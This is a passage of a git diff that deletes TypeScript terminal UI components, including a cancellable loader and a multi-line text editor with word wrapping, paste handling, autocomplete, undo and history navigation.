if (this.matchCache(width, childLines, bgSample)) { - return this.cache!.lines; - } - - // Apply background and padding - const result: string[] = []; - - // Top padding - for (let i = 0; i < this.paddingY; i++) { - result.push(this.applyBg("", width)); - } - - // Content - for (const line of childLines) { - result.push(this.applyBg(line, width)); - } - - // Bottom padding - for (let i = 0; i < this.paddingY; i++) { - result.push(this.applyBg("", width)); - } - - // Update cache - this.cache = { childLines, width, bgSample, lines: result }; - - return result; - } - - private applyBg(line: string, width: number): string { - const visLen = visibleWidth(line); - const padNeeded = Math.max(0, width - visLen); - const padded = line + " ".repeat(padNeeded); - - if (this.bgFn) { - return applyBackgroundToLine(padded, width, this.bgFn); - } - return padded; - } -} diff --git a/packages/pi-tui/src/components/cancellable-loader.ts b/packages/pi-tui/src/components/cancellable-loader.ts deleted file mode 100644 index e790659e1..000000000 --- a/packages/pi-tui/src/components/cancellable-loader.ts +++ /dev/null @@ -1,42 +0,0 @@ -import { getEditorKeybindings } from "../keybindings.js"; -import { Loader } from "./loader.js"; - -/** - * Loader that can be cancelled with Escape. - * Extends Loader with an AbortSignal for cancelling async operations. - * - * @example - * const loader = new CancellableLoader(tui, cyan, dim, "Working..."); - * loader.onAbort = () => done(null); - * doWork(loader.signal).then(done); - */ -export class CancellableLoader extends Loader { - private abortController = new AbortController(); - - /** Called when user presses Escape */ - onAbort?: () => void; - - /** AbortSignal that is aborted when user presses Escape */ - get signal(): AbortSignal { - return this.abortController.signal; - } - - /** Whether the loader was aborted */ - get aborted(): boolean { - return this.abortController.signal.aborted; - } - - handleInput(data: string): void { - const kb = getEditorKeybindings(); - if (kb.matches(data, "selectCancel")) { - this.abortController.abort(); - this.onAbort?.(); - } - } - - dispose(): void { - this.abortController.abort(); - this.onAbort = undefined; - this.stop(); - } -} diff --git a/packages/pi-tui/src/components/editor.ts b/packages/pi-tui/src/components/editor.ts deleted file mode 100644 index 9bd6f9d04..000000000 --- a/packages/pi-tui/src/components/editor.ts +++ /dev/null @@ -1,2406 +0,0 @@ -import type { - AutocompleteProvider, - CombinedAutocompleteProvider, -} from "../autocomplete.js"; -import { getEditorKeybindings } from "../keybindings.js"; -import { decodeKittyPrintable, matchesKey } from "../keys.js"; -import { KillRing } from "../kill-ring.js"; -import { - type Component, - CURSOR_MARKER, - type Focusable, - type TUI, -} from "../tui.js"; -import { UndoStack } from "../undo-stack.js"; -import { - getSegmenter, - isPunctuationChar, - isWhitespaceChar, - visibleWidth, -} from "../utils.js"; -import { SelectList, type SelectListTheme } from "./select-list.js"; - -const segmenter = getSegmenter(); - -/** - * Represents a chunk of text for word-wrap layout. - * Tracks both the text content and its position in the original line. - */ -export interface TextChunk { - text: string; - startIndex: number; - endIndex: number; -} - -/** - * Split a line into word-wrapped chunks. - * Wraps at word boundaries when possible, falling back to character-level - * wrapping for words longer than the available width. - * - * @param line - The text line to wrap - * @param maxWidth - Maximum visible width per chunk - * @returns Array of chunks with text and position information - */ -function wordWrapLine(line: string, maxWidth: number): TextChunk[] { - if (!line || maxWidth <= 0) { - return [{ text: "", startIndex: 0, endIndex: 0 }]; - } - - const lineWidth = visibleWidth(line); - if (lineWidth <= maxWidth) { - return [{ text: line, startIndex: 0, endIndex: line.length }]; - } - - const chunks: TextChunk[] = []; - const segments = [...segmenter.segment(line)]; - - let currentWidth = 0; - let chunkStart = 0; - - // Wrap opportunity: the position after the last whitespace before a non-whitespace - // grapheme, i.e. where a line break is allowed. - let wrapOppIndex = -1; - let wrapOppWidth = 0; - - for (let i = 0; i < segments.length; i++) { - const seg = segments[i]!; - const grapheme = seg.segment; - const gWidth = visibleWidth(grapheme); - const charIndex = seg.index; - const isWs = isWhitespaceChar(grapheme); - - // Overflow check before advancing. - if (currentWidth + gWidth > maxWidth) { - if (wrapOppIndex >= 0) { - // Backtrack to last wrap opportunity. - chunks.push({ - text: line.slice(chunkStart, wrapOppIndex), - startIndex: chunkStart, - endIndex: wrapOppIndex, - }); - chunkStart = wrapOppIndex; - currentWidth -= wrapOppWidth; - } else if (chunkStart < charIndex) { - // No wrap opportunity: force-break at current position. - chunks.push({ - text: line.slice(chunkStart, charIndex), - startIndex: chunkStart, - endIndex: charIndex, - }); - chunkStart = charIndex; - currentWidth = 0; - } - wrapOppIndex = -1; - } - - // Advance. - currentWidth += gWidth; - - // Record wrap opportunity: whitespace followed by non-whitespace. - // Multiple spaces join (no break between them); the break point is - // after the last space before the next word. - const next = segments[i + 1]; - if (isWs && next && !isWhitespaceChar(next.segment)) { - wrapOppIndex = next.index; - wrapOppWidth = currentWidth; - } - } - - // Push final chunk. - chunks.push({ - text: line.slice(chunkStart), - startIndex: chunkStart, - endIndex: line.length, - }); - - return chunks; -} - -// Kitty CSI-u sequences for printable keys, including optional shifted/base codepoints. -interface EditorState { - lines: string[]; - cursorLine: number; - cursorCol: number; -} - -interface LayoutLine { - text: string; - hasCursor: boolean; - cursorPos?: number; -} - -interface VisualLine { - logicalLine: number; - startCol: number; - length: number; -} - -export interface EditorTheme { - borderColor: (str: string) => string; - selectList: SelectListTheme; -} - -export interface EditorOptions { - paddingX?: number; - autocompleteMaxVisible?: number; -} - -export class Editor implements Component, Focusable { - private state: EditorState = { - lines: [""], - cursorLine: 0, - cursorCol: 0, - }; - - /** Focusable interface - set by TUI when focus changes */ - private _focused: boolean = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - if (!value) { - this.isInPaste = false; - this.pasteBuffer = ""; - } - } - - protected tui: TUI; - private theme: EditorTheme; - private paddingX: number = 0; - - // Store last render width for cursor navigation - private lastWidth: number = 80; - - // Vertical scrolling support - private scrollOffset: number = 0; - - // Border color (can be changed dynamically) - public borderColor: (str: string) => string; - - // Autocomplete support - private autocompleteProvider?: AutocompleteProvider; - private autocompleteList?: SelectList; - private autocompleteState: "regular" | "force" | null = null; - private autocompletePrefix: string = ""; - private autocompleteMaxVisible: number = 5; - - // Debounce for @ file autocomplete to prevent blocking the event loop - // with synchronous fuzzyFind calls on every keystroke - private autocompleteDebounceTimer: ReturnType | null = - null; - private lastAutocompleteLookupPrefix: string | null = null; - private static readonly AUTOCOMPLETE_DEBOUNCE_MS = 50; - - // Paste tracking for large pastes - private pastes: Map = new Map(); - private pasteCounter: number = 0; - - // Bracketed paste mode buffering - private pasteBuffer: string = ""; - private isInPaste: boolean = false; - - // Prompt history for up/down navigation - private history: string[] = []; - private historyIndex: number = -1; // -1 = not browsing, 0 = most recent, 1 = older, etc. - - // Kill ring for Emacs-style kill/yank operations - private killRing = new KillRing(); - private lastAction: "kill" | "yank" | "type-word" | null = null; - - // Character jump mode - private jumpMode: "forward" | "backward" | null = null; - - // Preferred visual column for vertical cursor movement (sticky column) - private preferredVisualCol: number | null = null; - - // Undo support - private undoStack = new UndoStack(); - private textVersion = 0; - private cachedText: string | null = null; - private layoutCache: { - width: number; - textVersion: number; - cursorLine: number; - cursorCol: number; - lines: LayoutLine[]; - } | null = null; - private visualLineMapCache: { - width: number; - textVersion: number; - lines: VisualLine[]; - } | null = null; - - public onSubmit?: (text: string) => void; - public onChange?: (text: string) => void; - public disableSubmit: boolean = false; - - constructor(tui: TUI, theme: EditorTheme, options: EditorOptions = {}) { - this.tui = tui; - this.theme = theme; - this.borderColor = theme.borderColor; - const paddingX = options.paddingX ?? 0; - this.paddingX = Number.isFinite(paddingX) - ? Math.max(0, Math.floor(paddingX)) - : 0; - const maxVisible = options.autocompleteMaxVisible ?? 5; - this.autocompleteMaxVisible = Number.isFinite(maxVisible) - ? Math.max(3, Math.min(20, Math.floor(maxVisible))) - : 5; - } - - getPaddingX(): number { - return this.paddingX; - } - - setPaddingX(padding: number): void { - const newPadding = Number.isFinite(padding) - ? Math.max(0, Math.floor(padding)) - : 0; - if (this.paddingX !== newPadding) { - this.paddingX = newPadding; - this.tui.requestRender(); - } - } - - getAutocompleteMaxVisible(): number { - return this.autocompleteMaxVisible; - } - - setAutocompleteMaxVisible(maxVisible: number): void { - const newMaxVisible = Number.isFinite(maxVisible) - ? Math.max(3, Math.min(20, Math.floor(maxVisible))) - : 5; - if (this.autocompleteMaxVisible !== newMaxVisible) { - this.autocompleteMaxVisible = newMaxVisible; - this.tui.requestRender(); - } - } - - setAutocompleteProvider(provider: AutocompleteProvider): void { - this.autocompleteProvider = provider; - } - - private clearLayoutCaches(): void { - this.layoutCache = null; - this.visualLineMapCache = null; - } - - private emitChange(): void { - this.textVersion += 1; - this.cachedText = null; - this.clearLayoutCaches(); - if (this.onChange) { - this.onChange(this.getText()); - } - } - - private getLayoutLines(width: number): LayoutLine[] { - const cached = this.layoutCache; - if ( - cached && - cached.width === width && - cached.textVersion === this.textVersion && - cached.cursorLine === this.state.cursorLine && - cached.cursorCol === this.state.cursorCol - ) { - return cached.lines; - } - - const lines = this.layoutText(width); - this.layoutCache = { - width, - textVersion: this.textVersion, - lines, - cursorLine: this.state.cursorLine, - cursorCol: this.state.cursorCol, - }; - return lines; - } - - /** - * Add a prompt to history for up/down arrow navigation. - * Called after successful submission. - */ - addToHistory(text: string): void { - const trimmed = text.trim(); - if (!trimmed) return; - // Don't add consecutive duplicates - if (this.history.length > 0 && this.history[0] === trimmed) return; - this.history.unshift(trimmed); - // Limit history size - if (this.history.length > 100) { - this.history.pop(); - } - } - - private isEditorEmpty(): boolean { - return this.state.lines.length === 1 && this.state.lines[0] === ""; - } - - private isOnFirstVisualLine(): boolean { - const visualLines = this.buildVisualLineMap(this.lastWidth); - const currentVisualLine = this.findCurrentVisualLine(visualLines); - return currentVisualLine === 0; - } - - private isOnLastVisualLine(): boolean { - const visualLines = this.buildVisualLineMap(this.lastWidth); - const currentVisualLine = this.findCurrentVisualLine(visualLines); - return currentVisualLine === visualLines.length - 1; - } - - private navigateHistory(direction: 1 | -1): void { - this.lastAction = null; - if (this.history.length === 0) return; - - const newIndex = this.historyIndex - direction; // Up(-1) increases index, Down(1) decreases - if (newIndex < -1 || newIndex >= this.history.length) return; - - // Capture state when first entering history browsing mode - if (this.historyIndex === -1 && newIndex >= 0) { - this.pushUndoSnapshot(); - } - - this.historyIndex = newIndex; - - if (this.historyIndex === -1) { - // Returned to "current" state - clear editor - this.setTextInternal(""); - } else { - this.setTextInternal(this.history[this.historyIndex] || ""); - } - } - - /** Internal setText that doesn't reset history state - used by navigateHistory */ - private setTextInternal(text: string): void { - const lines = text.replace(/\r\n/g, "\n").replace(/\r/g, "\n").split("\n"); - this.state.lines = lines.length === 0 ? [""] : lines; - this.state.cursorLine = this.state.lines.length - 1; - this.setCursorCol(this.state.lines[this.state.cursorLine]?.length || 0); - // Reset scroll - render() will adjust to show cursor - this.scrollOffset = 0; - this.emitChange(); - } - - invalidate(): void { - this.clearLayoutCaches(); - } - - render(width: number): string[] { - const maxPadding = Math.max(0, Math.floor((width - 1) / 2)); - const paddingX = Math.min(this.paddingX, maxPadding); - const contentWidth = Math.max(1, width - paddingX * 2); - - // Layout width: with padding the cursor can overflow into it, - // without padding we reserve 1 column for the cursor. - const layoutWidth = Math.max(1, contentWidth - (paddingX ? 0 : 1)); - - // Store for cursor navigation (must match wrapping width) - this.lastWidth = layoutWidth; - - const horizontal = this.borderColor("─"); - - // Layout the text - const layoutLines = this.getLayoutLines(layoutWidth); - - // Calculate max visible lines: 30% of terminal height, minimum 5 lines - const terminalRows = this.tui.terminal.rows; - const maxVisibleLines = Math.max(5, Math.floor(terminalRows * 0.3)); - - // Find the cursor line index in layoutLines - let cursorLineIndex = layoutLines.findIndex((line) => line.hasCursor); - if (cursorLineIndex === -1) cursorLineIndex = 0; - - // Adjust scroll offset to keep cursor visible - if (cursorLineIndex < this.scrollOffset) { - this.scrollOffset = cursorLineIndex; - } else if (cursorLineIndex >= this.scrollOffset + maxVisibleLines) { - this.scrollOffset = cursorLineIndex - maxVisibleLines + 1; - } - - // Clamp scroll offset to valid range - const maxScrollOffset = Math.max(0, layoutLines.length - maxVisibleLines); - this.scrollOffset = Math.max( - 0, - Math.min(this.scrollOffset, maxScrollOffset), - ); - - // Get visible lines slice - const visibleLines = layoutLines.slice( - this.scrollOffset, - this.scrollOffset + maxVisibleLines, - ); - - const result: string[] = []; - const leftPadding = " ".repeat(paddingX); - const rightPadding = leftPadding; - - // Render top border (with scroll indicator if scrolled down) - if (this.scrollOffset > 0) { - const indicator = `─── ↑ ${this.scrollOffset} more `; - const remaining = width - visibleWidth(indicator); - result.push( - this.borderColor(indicator + "─".repeat(Math.max(0, remaining))), - ); - } else { - result.push(horizontal.repeat(width)); - } - - // Render each visible layout line - // Keep the hardware cursor anchored while autocomplete is open so IME - // candidate windows still attach to the editor caret. - const emitCursorMarker = this.focused; - - for (const layoutLine of visibleLines) { - let displayText = layoutLine.text; - let lineVisibleWidth = visibleWidth(layoutLine.text); - let cursorInPadding = false; - - // Add cursor if this line has it - if (layoutLine.hasCursor && layoutLine.cursorPos !== undefined) { - const before = displayText.slice(0, layoutLine.cursorPos); - const after = displayText.slice(layoutLine.cursorPos); - - // Hardware cursor marker (zero-width, emitted before fake cursor for IME positioning) - const marker = emitCursorMarker ? CURSOR_MARKER : ""; - - if (after.length > 0) { - // Cursor is on a character (grapheme) - replace it with highlighted version - // Get the first grapheme from 'after' - const afterGraphemes = [...segmenter.segment(after)]; - const firstGrapheme = afterGraphemes[0]?.segment || ""; - const restAfter = after.slice(firstGrapheme.length); - const cursor = `\x1b[7m${firstGrapheme}\x1b[0m`; - displayText = before + marker + cursor + restAfter; - // lineVisibleWidth stays the same - we're replacing, not adding - } else { - // Cursor is at the end - add highlighted space - const cursor = "\x1b[7m \x1b[0m"; - displayText = before + marker + cursor; - lineVisibleWidth = lineVisibleWidth + 1; - // If cursor overflows content width into the padding, flag it - if (lineVisibleWidth > contentWidth && paddingX > 0) { - cursorInPadding = true; - } - } - } - - // Calculate padding based on actual visible width - const padding = " ".repeat(Math.max(0, contentWidth - lineVisibleWidth)); - const lineRightPadding = cursorInPadding - ? rightPadding.slice(1) - : rightPadding; - - // Render the line (no side borders, just horizontal lines above and below) - result.push(`${leftPadding}${displayText}${padding}${lineRightPadding}`); - } - - // Render bottom border (with scroll indicator if more content below) - const linesBelow = - layoutLines.length - (this.scrollOffset + visibleLines.length); - if (linesBelow > 0) { - const indicator = `─── ↓ ${linesBelow} more `; - const remaining = width - visibleWidth(indicator); - result.push( - this.borderColor(indicator + "─".repeat(Math.max(0, remaining))), - ); - } else { - result.push(horizontal.repeat(width)); - } - - // Add autocomplete list if active - if (this.autocompleteState && this.autocompleteList) { - const autocompleteResult = this.autocompleteList.render(contentWidth); - for (const line of autocompleteResult) { - const lineWidth = visibleWidth(line); - const linePadding = " ".repeat(Math.max(0, contentWidth - lineWidth)); - result.push(`${leftPadding}${line}${linePadding}${rightPadding}`); - } - } - - return result; - } - - handleInput(data: string): void { - const kb = getEditorKeybindings(); - - // Handle character jump mode (awaiting next character to jump to) - if (this.jumpMode !== null) { - // Cancel if the hotkey is pressed again - if (kb.matches(data, "jumpForward") || kb.matches(data, "jumpBackward")) { - this.jumpMode = null; - return; - } - - if (data.charCodeAt(0) >= 32) { - // Printable character - perform the jump - const direction = this.jumpMode; - this.jumpMode = null; - this.jumpToChar(data, direction); - return; - } - - // Control character - cancel and fall through to normal handling - this.jumpMode = null; - } - - // Handle bracketed paste mode - if (data.includes("\x1b[200~")) { - this.isInPaste = true; - this.pasteBuffer = ""; - data = data.replace("\x1b[200~", ""); - } - - if (this.isInPaste) { - this.pasteBuffer += data; - const endIndex = this.pasteBuffer.indexOf("\x1b[201~"); - if (endIndex !== -1) { - const pasteContent = this.pasteBuffer.substring(0, endIndex); - if (pasteContent.length > 0) { - this.handlePaste(pasteContent); - } - this.isInPaste = false; - const remaining = this.pasteBuffer.substring(endIndex + 6); - this.pasteBuffer = ""; - if (remaining.length > 0) { - this.handleInput(remaining); - } - return; - } - return; - } - - // Ctrl+C - let parent handle (exit/clear) - if (kb.matches(data, "copy")) { - return; - } - - // Undo - if (kb.matches(data, "undo")) { - this.undo(); - return; - } - - // Handle autocomplete mode - if (this.autocompleteState && this.autocompleteList) { - if (kb.matches(data, "selectCancel")) { - this.cancelAutocomplete(); - return; - } - - if (kb.matches(data, "selectUp") || kb.matches(data, "selectDown")) { - this.autocompleteList.handleInput(data); - return; - } - - if (kb.matches(data, "tab")) { - const selected = this.autocompleteList.getSelectedItem(); - if (selected && this.autocompleteProvider) { - const shouldChainSlashArgumentAutocomplete = - this.shouldChainSlashArgumentAutocompleteOnTabSelection(); - - this.pushUndoSnapshot(); - this.lastAction = null; - const result = this.autocompleteProvider.applyCompletion( - this.state.lines, - this.state.cursorLine, - this.state.cursorCol, - selected, - this.autocompletePrefix, - ); - this.state.lines = result.lines; - this.state.cursorLine = result.cursorLine; - this.setCursorCol(result.cursorCol); - this.cancelAutocomplete(); - this.emitChange(); - - if ( - shouldChainSlashArgumentAutocomplete && - this.isBareCompletedSlashCommandAtCursor() - ) { - this.tryTriggerAutocomplete(); - } - } - return; - } - - if (kb.matches(data, "selectConfirm")) { - const selected = this.autocompleteList.getSelectedItem(); - if (selected && this.autocompleteProvider) { - this.pushUndoSnapshot(); - this.lastAction = null; - const result = this.autocompleteProvider.applyCompletion( - this.state.lines, - this.state.cursorLine, - this.state.cursorCol, - selected, - this.autocompletePrefix, - ); - this.state.lines = result.lines; - this.state.cursorLine = result.cursorLine; - this.setCursorCol(result.cursorCol); - - if ( - this.autocompletePrefix.startsWith("/") || - this.isInSlashCommandContext( - (this.state.lines[this.state.cursorLine] || "").slice( - 0, - this.state.cursorCol, - ), - ) - ) { - this.cancelAutocomplete(); - // Fall through to submit - } else { - this.cancelAutocomplete(); - this.emitChange(); - return; - } - } - } - } - - // Tab - trigger completion - if (kb.matches(data, "tab") && !this.autocompleteState) { - this.handleTabCompletion(); - return; - } - - // Deletion actions - if (kb.matches(data, "deleteToLineEnd")) { - this.deleteToEndOfLine(); - return; - } - if (kb.matches(data, "deleteToLineStart")) { - this.deleteToStartOfLine(); - return; - } - if (kb.matches(data, "deleteWordBackward")) { - this.deleteWordBackwards(); - return; - } - if (kb.matches(data, "deleteWordForward")) { - this.deleteWordForward(); - return; - } - if ( - kb.matches(data, "deleteCharBackward") || - matchesKey(data, "shift+backspace") - ) { - this.handleBackspace(); - return; - } - if ( - kb.matches(data, "deleteCharForward") || - matchesKey(data, "shift+delete") - ) { - this.handleForwardDelete(); - return; - } - - // Kill ring actions - if (kb.matches(data, "yank")) { - this.yank(); - return; - } - if (kb.matches(data, "yankPop")) { - this.yankPop(); - return; - } - - // Cursor movement actions - if (kb.matches(data, "cursorLineStart")) { - this.moveToLineStart(); - return; - } - if (kb.matches(data, "cursorLineEnd")) { - this.moveToLineEnd(); - return; - } - if (kb.matches(data, "cursorWordLeft")) { - this.moveWordBackwards(); - return; - } - if (kb.matches(data, "cursorWordRight")) { - this.moveWordForwards(); - return; - } - - // New line - if ( - kb.matches(data, "newLine") || - (data.charCodeAt(0) === 10 && data.length > 1) || - data === "\x1b\r" || - data === "\x1b[13;2~" || - (data.length > 1 && data.includes("\x1b") && data.includes("\r")) || - (data === "\n" && data.length === 1) - ) { - if (this.shouldSubmitOnBackslashEnter(data, kb)) { - this.handleBackspace(); - this.submitValue(); - return; - } - this.addNewLine(); - return; - } - - // Submit (Enter) - if (kb.matches(data, "submit")) { - if (this.disableSubmit) return; - - // Workaround for terminals without Shift+Enter support: - // If char before cursor is \, delete it and insert newline instead of submitting. - const currentLine = this.state.lines[this.state.cursorLine] || ""; - if ( - this.state.cursorCol > 0 && - currentLine[this.state.cursorCol - 1] === "\\" - ) { - this.handleBackspace(); - this.addNewLine(); - return; - } - - this.submitValue(); - return; - } - - // Arrow key navigation (with history support) - if (kb.matches(data, "cursorUp")) { - if (this.isEditorEmpty()) { - this.navigateHistory(-1); - } else if (this.historyIndex > -1 && this.isOnFirstVisualLine()) { - this.navigateHistory(-1); - } else if (this.isOnFirstVisualLine()) { - // Already at top - jump to start of line - this.moveToLineStart(); - } else { - this.moveCursor(-1, 0); - } - return; - } - if (kb.matches(data, "cursorDown")) { - if (this.historyIndex > -1 && this.isOnLastVisualLine()) { - this.navigateHistory(1); - } else if (this.isOnLastVisualLine()) { - // Already at bottom - jump to end of line - this.moveToLineEnd(); - } else { - this.moveCursor(1, 0); - } - return; - } - if (kb.matches(data, "cursorRight")) { - this.moveCursor(0, 1); - return; - } - if (kb.matches(data, "cursorLeft")) { - this.moveCursor(0, -1); - return; - } - - // Page up/down - scroll by page and move cursor - if (kb.matches(data, "pageUp")) { - this.pageScroll(-1); - return; - } - if (kb.matches(data, "pageDown")) { - this.pageScroll(1); - return; - } - - // Character jump mode triggers - if (kb.matches(data, "jumpForward")) { - this.jumpMode = "forward"; - return; - } - if (kb.matches(data, "jumpBackward")) { - this.jumpMode = "backward"; - return; - } - - // Shift+Space - insert regular space - if (matchesKey(data, "shift+space")) { - this.insertCharacter(" "); - return; - } - - const kittyPrintable = decodeKittyPrintable(data); - if (kittyPrintable !== undefined) { - this.insertCharacter(kittyPrintable); - return; - } - - // Regular characters — reject partial escape sequence remnants that can - // occur when event loop latency causes the StdinBuffer to split an escape - // sequence (e.g. \x1b flushed as ESC, then "[D" arrives as text). - if (data.charCodeAt(0) >= 32) { - if (data[0] === "[" && data.length >= 2 && data.length <= 8) { - const last = data[data.length - 1]!; - // CSI navigation remnants: [A-F (arrows/home/end), [H, [Z (shift-tab), [~ (func keys) - if (/^[A-FHZ]$/.test(last) || last === "~") { - return; // Drop CSI remnant (e.g. "[D", "[C", "[5~") - } - } - this.insertCharacter(data); - } - } - - private layoutText(contentWidth: number): LayoutLine[] { - const layoutLines: LayoutLine[] = []; - - if ( - this.state.lines.length === 0 || - (this.state.lines.length === 1 && this.state.lines[0] === "") - ) { - // Empty editor - layoutLines.push({ - text: "", - hasCursor: true, - cursorPos: 0, - }); - return layoutLines; - } - - // Process each logical line - for (let i = 0; i < this.state.lines.length; i++) { - const line = this.state.lines[i] || ""; - const isCurrentLine = i === this.state.cursorLine; - const lineVisibleWidth = visibleWidth(line); - - if (lineVisibleWidth <= contentWidth) { - // Line fits in one layout line - if (isCurrentLine) { - layoutLines.push({ - text: line, - hasCursor: true, - cursorPos: this.state.cursorCol, - }); - } else { - layoutLines.push({ - text: line, - hasCursor: false, - }); - } - } else { - // Line needs wrapping - use word-aware wrapping - const chunks = wordWrapLine(line, contentWidth); - - for (let chunkIndex = 0; chunkIndex < chunks.length; chunkIndex++) { - const chunk = chunks[chunkIndex]; - if (!chunk) continue; - - const cursorPos = this.state.cursorCol; - const isLastChunk = chunkIndex === chunks.length - 1; - - // Determine if cursor is in this chunk - // For word-wrapped chunks, we need to handle the case where - // cursor might be in trimmed whitespace at end of chunk - let hasCursorInChunk = false; - let adjustedCursorPos = 0; - - if (isCurrentLine) { - if (isLastChunk) { - // Last chunk: cursor belongs here if >= startIndex - hasCursorInChunk = cursorPos >= chunk.startIndex; - adjustedCursorPos = cursorPos - chunk.startIndex; - } else { - // Non-last chunk: cursor belongs here if in range [startIndex, endIndex) - // But we need to handle the visual position in the trimmed text - hasCursorInChunk = - cursorPos >= chunk.startIndex && cursorPos < chunk.endIndex; - if (hasCursorInChunk) { - adjustedCursorPos = cursorPos - chunk.startIndex; - // Clamp to text length (in case cursor was in trimmed whitespace) - if (adjustedCursorPos > chunk.text.length) { - adjustedCursorPos = chunk.text.length; - } - } - } - } - - if (hasCursorInChunk) { - layoutLines.push({ - text: chunk.text, - hasCursor: true, - cursorPos: adjustedCursorPos, - }); - } else { - layoutLines.push({ - text: chunk.text, - hasCursor: false, - }); - } - } - } - } - - return layoutLines; - } - - getText(): string { - if (this.cachedText === null) { - this.cachedText = this.state.lines.join("\n"); - } - return this.cachedText; - } - - /** - * Get text with paste markers expanded to their actual content. - * Use this when you need the full content (e.g., for external editor). - */ - getExpandedText(): string { - let result = this.state.lines.join("\n"); - for (const [pasteId, pasteContent] of this.pastes) { - const markerRegex = new RegExp( - `\\[paste #${pasteId}( (\\+\\d+ lines|\\d+ chars))?\\]`, - "g", - ); - result = result.replace(markerRegex, pasteContent); - } - return result; - } - - getLines(): string[] { - return [...this.state.lines]; - } - - getCursor(): { line: number; col: number } { - return { line: this.state.cursorLine, col: this.state.cursorCol }; - } - - setText(text: string): void { - this.lastAction = null; - this.historyIndex = -1; // Exit history browsing mode - // Push undo snapshot if content differs (makes programmatic changes undoable) - if (this.getText() !== text) { - this.pushUndoSnapshot(); - } - this.setTextInternal(text); - } - - /** - * Insert text at the current cursor position. - * Used for programmatic insertion (e.g., clipboard image markers). - * This is atomic for undo - single undo restores entire pre-insert state. - */ - insertTextAtCursor(text: string): void { - if (!text) return; - this.pushUndoSnapshot(); - this.lastAction = null; - this.historyIndex = -1; - this.insertTextAtCursorInternal(text); - } - - /** - * Internal text insertion at cursor. Handles single and multi-line text. - * Does not push undo snapshots or trigger autocomplete - caller is responsible. - * Normalizes line endings and calls onChange once at the end. - */ - private insertTextAtCursorInternal(text: string): void { - if (!text) return; - - // Normalize line endings - const normalized = text.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); - const insertedLines = normalized.split("\n"); - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const beforeCursor = currentLine.slice(0, this.state.cursorCol); - const afterCursor = currentLine.slice(this.state.cursorCol); - - if (insertedLines.length === 1) { - // Single line - insert at cursor position - this.state.lines[this.state.cursorLine] = - beforeCursor + normalized + afterCursor; - this.setCursorCol(this.state.cursorCol + normalized.length); - } else { - // Multi-line insertion - this.state.lines = [ - // All lines before current line - ...this.state.lines.slice(0, this.state.cursorLine), - - // The first inserted line merged with text before cursor - beforeCursor + insertedLines[0], - - // All middle inserted lines - ...insertedLines.slice(1, -1), - - // The last inserted line with text after cursor - insertedLines[insertedLines.length - 1] + afterCursor, - - // All lines after current line - ...this.state.lines.slice(this.state.cursorLine + 1), - ]; - - this.state.cursorLine += insertedLines.length - 1; - this.setCursorCol((insertedLines[insertedLines.length - 1] || "").length); - } - - this.emitChange(); - } - - // All the editor methods from before... - private insertCharacter(char: string, skipUndoCoalescing?: boolean): void { - this.historyIndex = -1; // Exit history browsing mode - - // Undo coalescing (fish-style): - // - Consecutive word chars coalesce into one undo unit - // - Space captures state before itself (so undo removes space+following word together) - // - Each space is separately undoable - // Skip coalescing when called from atomic operations (e.g., handlePaste) - if (!skipUndoCoalescing) { - if (isWhitespaceChar(char) || this.lastAction !== "type-word") { - this.pushUndoSnapshot(); - } - this.lastAction = "type-word"; - } - - const line = this.state.lines[this.state.cursorLine] || ""; - - const before = line.slice(0, this.state.cursorCol); - const after = line.slice(this.state.cursorCol); - - this.state.lines[this.state.cursorLine] = before + char + after; - this.setCursorCol(this.state.cursorCol + char.length); - - this.emitChange(); - - // Check if we should trigger or update autocomplete - if (!this.autocompleteState) { - // Auto-trigger for "/" at the start of a line (slash commands) - if (char === "/" && this.isAtStartOfMessage()) { - this.tryTriggerAutocomplete(); - } - // Auto-trigger for "@" file reference (fuzzy search) - // Debounced: the bare "@" triggers a fuzzyFind call that does a - // synchronous filesystem walk via the native addon. Firing it - // immediately on the keystroke blocks the event loop and freezes - // the TUI on large repos. Debouncing lets subsequent keystrokes - // cancel the pending search so the walk only runs once the user - // pauses typing. - else if (char === "@") { - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - // Only trigger if @ is after whitespace or at start of line - const charBeforeAt = textBeforeCursor[textBeforeCursor.length - 2]; - if ( - textBeforeCursor.length === 1 || - charBeforeAt === " " || - charBeforeAt === "\t" - ) { - this.debouncedTriggerAutocomplete(); - } - } - // Also auto-trigger when typing letters in a slash command context - else if (/[a-zA-Z0-9.\-_]/.test(char)) { - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - // Check if we're in a slash command (with or without space for arguments) - if (this.isInSlashCommandContext(textBeforeCursor)) { - this.tryTriggerAutocomplete(); - } - // Check if we're in an @ file reference context (debounce to avoid - // blocking the event loop with synchronous fuzzyFind on every keystroke) - else if (textBeforeCursor.match(/(?:^|[\s])@[^\s]*$/)) { - this.debouncedTriggerAutocomplete(); - } - } - } else { - this.updateAutocomplete(); - } - } - - /** - * Debounced version of tryTriggerAutocomplete for @ file reference context. - * Prevents synchronous fuzzyFind calls from blocking the event loop on every keystroke. - */ - private debouncedTriggerAutocomplete(): void { - if (this.autocompleteDebounceTimer) { - clearTimeout(this.autocompleteDebounceTimer); - this.autocompleteDebounceTimer = null; - } - - this.autocompleteDebounceTimer = setTimeout(() => { - this.autocompleteDebounceTimer = null; - this.tryTriggerAutocomplete(); - this.tui.requestRender(); - }, Editor.AUTOCOMPLETE_DEBOUNCE_MS); - } - - private handlePaste(pastedText: string): void { - this.historyIndex = -1; // Exit history browsing mode - this.lastAction = null; - - this.pushUndoSnapshot(); - - // Clean the pasted text - const cleanText = pastedText.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); - - // Convert tabs to spaces (4 spaces per tab) - const tabExpandedText = cleanText.replace(/\t/g, " "); - - // Filter out non-printable characters except newlines - let filteredText = tabExpandedText - .split("") - .filter((char) => char === "\n" || char.charCodeAt(0) >= 32) - .join(""); - - // If pasting a file path (starts with /, ~, or .) and the character before - // the cursor is a word character, prepend a space for better readability - if (/^[/~.]/.test(filteredText)) { - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const charBeforeCursor = - this.state.cursorCol > 0 ? currentLine[this.state.cursorCol - 1] : ""; - if (charBeforeCursor && /\w/.test(charBeforeCursor)) { - filteredText = ` ${filteredText}`; - } - } - - // Split into lines to check for large paste - const pastedLines = filteredText.split("\n"); - - // Check if this is a large paste (> 10 lines or > 1000 characters) - const 